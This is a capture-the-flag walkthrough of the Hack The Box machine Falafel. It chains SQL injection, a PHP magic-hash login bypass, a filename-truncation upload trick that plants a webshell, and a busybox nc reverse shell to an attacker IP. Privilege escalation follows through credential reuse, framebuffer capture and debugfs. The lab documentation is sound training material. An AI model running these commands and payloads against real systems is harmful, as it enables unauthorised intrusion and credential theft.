Overview
Falafel is a hard Linux box with a layered web attack chain followed by a creative privilege escalation route. SQL injection dumps password hashes; a PHP type-juggling bug bypasses the admin login; a filename-length truncation trick converts a .php.png upload into a live PHP webshell. Lateral movement relies on credential reuse from the web app's database config. Root comes from membership in the disk group, which grants raw read access to the block device via debugfs.
Recon
Directory Enumeration
The site runs PHP on Apache 2.4.18. Two GoBuster passes were needed: the first with the .php extension, the second with .txt (hinted by robots.txt disallowing all .txt):
gobuster dir -u http://10.129.229.139/ -w /path/to/big.txt -x php
/login.php (Status: 200)
/upload.php (Status: 302)
/uploads (Status: 301)
/connection.php (Status: 200)
gobuster dir -u http://10.129.229.139/ -w /path/to/directory-list-2.3-medium.txt -x txt
/cyberlaw.txt (Status: 200)
cyberlaw.txt was an email from the site admin to lawyers and devs describing how a user named chris had bypassed the login and used the image upload for full site control:
From: admin@falafel.htb
A user named "chris" has informed me that he could log into MY account without knowing
the password, then take FULL CONTROL of the website using the image upload feature.
Two valid usernames identified: admin, chris.
Username Enumeration via Error Message Differences
Invalid usernames returned "try again...", while valid ones returned "Wrong Identification: \<username>". Wfuzz confirmed both accounts:
wfuzz -c -w /usr/share/seclists/Usernames/Names/names.txt \
-d "username=FUZZ&password=‹redacted›" -u http://10.129.229.139/login.php --hh 7074
000000086: admin
000001886: chris
Foothold
SQL Injection → Password Hashes
Saving the login POST request and running SQLMap with time-based blind payload detection:
sqlmap -r request.txt --level 5 --risk 3 --batch --string "Wrong identification" --dump
Output from falafel.users:
admin | ‹redacted›
chris | ‹redacted› (juggling)
SQLMap cracked chris's hash inline. The admin hash remained unsolved by the default dictionary, but its value is the key.
PHP Type Juggling to Log In as Admin
Chris's password juggling and the hash value ‹redacted› are both hints. PHP's loose comparison (==) compares values after type coercion. If both sides look like scientific notation (0e... followed by digits), PHP treats them as 0 * 10^n = 0 on both sides, so they compare equal regardless of the actual string.
Magic hash attack:
‹redacted›starts with0eand is all digits, so PHP evaluates it as0.0. If we supply a password whose MD5 hash also starts with0eand is all digits, PHP'smd5($input) == $stored_hashevaluates as0.0 == 0.0, which istrue. The magic number240610708has this property.
Logging in as admin with the password 240610708 succeeded.
Image Upload, Filename Truncation Bypass
The admin panel includes an upload feature that fetches an image from a URL. Extension filtering blocked .php uploads. Probing with varied input showed the app uses wget to fetch the URL, and the filename is derived from the URL path.
The hint was the admin profile motto "Know your limits." Supplying a URL with a very long filename triggered a different error message. Experimenting to find the exact character limit:
URL=$(python -c 'print "http://10.10.15.99:8081/" + "A"*232 + ".php.png"')
At 240 total characters the filename is truncated:
The name is too long, 240 chars total. Trying to shorten...
New name is AAAA...AAAA.php
Why truncation beats the filter: the extension check runs before
wgetfetches the file. By naming the file<232 A's>.php.png, the check sees.pngand passes. Thenwgetsaves it, but the filesystem path is limited to 255 characters; with the upload-directory prefix eating some characters, the.pngsuffix is silently dropped, leaving a.phpfile on disk.
PoC after upload:
curl "http://10.129.96.7/uploads/<timestamp>_<hash>/AAA...AAA.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Full shell using busybox nc (no special characters):
busybox nc 10.10.14.167 53 -e /bin/bash
rlwrap nc -lvnp 53
connect to [10.10.14.167] from (UNKNOWN) [10.129.96.7] 37154
whoami
www-data
Privilege Escalation
www-data → moshe (Credential Reuse)
connection.php in the web root held the database credentials:
define('DB_USERNAME', 'moshe');
define('DB_PASSWORD', '‹redacted›');
These credentials worked for local login:
su moshe
# Password: ‹redacted›
whoami
moshe
moshe → yossi (Framebuffer Screenshot)
moshe is in the video group. Running a group-file sweep found /dev/fb0 (the framebuffer device) readable:
cat /dev/fb0 > /dev/shm/.z/screenshot.raw
cat /sys/class/graphics/fb0/virtual_size
1176,885
The framebuffer trick:
/dev/fb0exposes the raw pixel data of whatever is currently displayed on the physical console. Members of thevideogroup can read it.yossiwas logged in ontty1, so the framebuffer contained their active session. Copying it as a raw image and opening it in GIMP (File > Open As > Raw Image Data,RGB565, 1176x885) rendered the screen content, including a visible password.
The framebuffer raw file was transferred back to Kali via scp and opened in GIMP as RGB565. The rendered screenshot showed yossi's password:
yossi:‹redacted›
SSH'd in as yossi:
ssh yossi@10.129.96.7
yossi → root (disk group / debugfs)
yossi is in the disk group. Identifying the root partition:
blkid
/dev/sda1: UUID="ccba94d2..." TYPE="ext4"
/dev/sda2: UUID="..." TYPE="swap"
disk group = raw filesystem access: members of
diskcan read raw block devices.debugfsis a filesystem debugger that can open a block device directly and navigate it like a mounted filesystem, bypassing all permission checks at the OS level. Any file on the partition, including/root/root.txtor/etc/shadow, is readable.
debugfs /dev/sda1
debugfs: cat /root/root.txt
‹redacted›
Root
Box rooted via debugfs.
Takeaways
- PHP type juggling is a real login bypass. Any hash starting
0efollowed by digits evaluates to zero under loose comparison; the magic number240610708is the canonical exploit value. - Filename length limits can truncate extension filtering. Build long filenames that push the dangerous extension past the truncation point and the safety check sees only the benign suffix.
- The
videogroup can read the framebuffer (/dev/fb0) and expose whatever is on the physical console, including plaintext passwords typed in other sessions. - The
diskgroup effectively grants root-equivalent read access.debugfson a raw block device bypasses all Linux file permissions.